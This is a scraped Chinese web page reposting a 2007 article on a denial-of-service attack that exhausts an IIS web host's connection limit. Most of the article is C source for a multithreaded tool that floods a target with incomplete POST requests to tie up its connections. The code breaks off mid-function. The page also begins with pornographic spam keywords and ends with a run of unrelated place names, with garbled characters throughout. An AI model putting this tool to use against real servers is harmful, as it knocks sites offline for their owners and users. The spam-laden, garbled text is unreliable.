最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用IIS最大連接數(shù)實現(xiàn)網站DOS(圖)

 更新時間:2007年01月16日 00:00:00   作者:  
安全中國提示:本程序僅做為技術研究之用,請勿用于非法用途,否則,后果自負!

最近買了個空間來玩,各位勿笑,是入門級的虛擬主機(偶是窮人?。?,各種參數(shù)都相當?shù)?,特別是IIS連接數(shù),只有100個(也就是同時支持100個不同的訪問)。
這里就出現(xiàn)問題了。如果我一直對該網站進行連接,雖然我是同一個人,但是IIS卻傻乎乎的把每次連接當成不同的人,每連接一次就會分配一個session給我,當連接超過服務器設置的IIS最大連接數(shù)目的時候……呵呵,拒絕服務就發(fā)生了。
具體的攻擊嘛,我們當然是利用程序來完成。思路簡單,就是不斷的向網站發(fā)HTTP請求,直到超過它的最大連接數(shù)。正好機器上有以前看了shotgun的《HTTP協(xié)議Content Lenth限制漏洞導致拒絕服務攻擊》寫的測試程序,跟今天的要求很相似,就拿來改改咯。具體代碼如下:

#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //設置最大線程數(shù)

int ThreadCount=0; 

struct mydata
{
 char *ip;
 int port;
};

 
unsigned int resolve(char *name)
{
 struct hostent *he;
 unsigned int ip;

 if((ip=inet_addr(name))==(-1))
 {
 if((he=gethostbyname(name))==0)
 return 0;
 memcpy(&ip,he->h_addr,4);
 }
 return ip;
}

 
DWORD WINAPI Dos(LPVOID lpParam ) 

 mydata *csdn = (mydata*)lpParam;
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(csdn->port);
 server.sin_addr.s_addr = resolve((char*)csdn->ip);
 if(server.sin_addr.s_addr==0)
 {

 printf("Don’t find address %s\n",(char*)csdn->ip);
 exit(0);
 }
 int my;
 char buf[100]="POST / HTTP/1.1\r\nHost: ";
 strcat(buf,(char*)csdn->ip);
 strcat(buf," \r\nContent-Length: 10\r\n\r\n");
 my=socket(PF_INET,SOCK_STREAM,0);
 if(my==INVALID_SOCKET)
 {
 printf("ERROR");
 exit(0);
 }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
 {
 printf("Socket ERROR:%d",GetLastError());
 exit(0);
 }
 if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
 ThreadCount--;
 return 0; 


void thread ( char *a1 , char *a2 , char *a3 )
{
 static mydata tmp;
 tmp.ip = a1;
 tmp.port = atoi(a2);

 DWORD dwThreadId;
 HANDLE hThread; 
 WSADATA ws;
 if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
 {
 printf(" [-] WSAStartup() error\n");
 exit(0);
 }

 hThread = CreateThread( 
 NULL, // no security attributes 
 0, // use default stack size 
 Dos, // thread function 
 &tmp, // argument to thread function 
 0, // use default creation flags 
 &dwThreadId); // returns the thread identifier 
 if (hThread == NULL) 
 printf( "CreateThread failed." ); 
 ThreadCount++;
 Sleep(200); //延時,否則CPU會用滿……
 CloseHandle(hThread);

相關文章

最新評論

万安县| 平顶山市| 苗栗县| 惠来县| 城固县| 肇州县| 淳安县| 从化市| 藁城市| 乡宁县| 深州市| 寿阳县| 北辰区| 平定县| 迭部县| 牡丹江市| 扬中市| 沙洋县| 霍山县| 诏安县| 平和县| 玛纳斯县| 七台河市| 阿尔山市| 武宁县| 永寿县| 龙川县| 精河县| 淅川县| 历史| 石景山区| 瑞昌市| 蒲江县| 九台市| 虞城县| 和平区| 临沂市| 筠连县| 竹北市| 郑州市| 临沧市|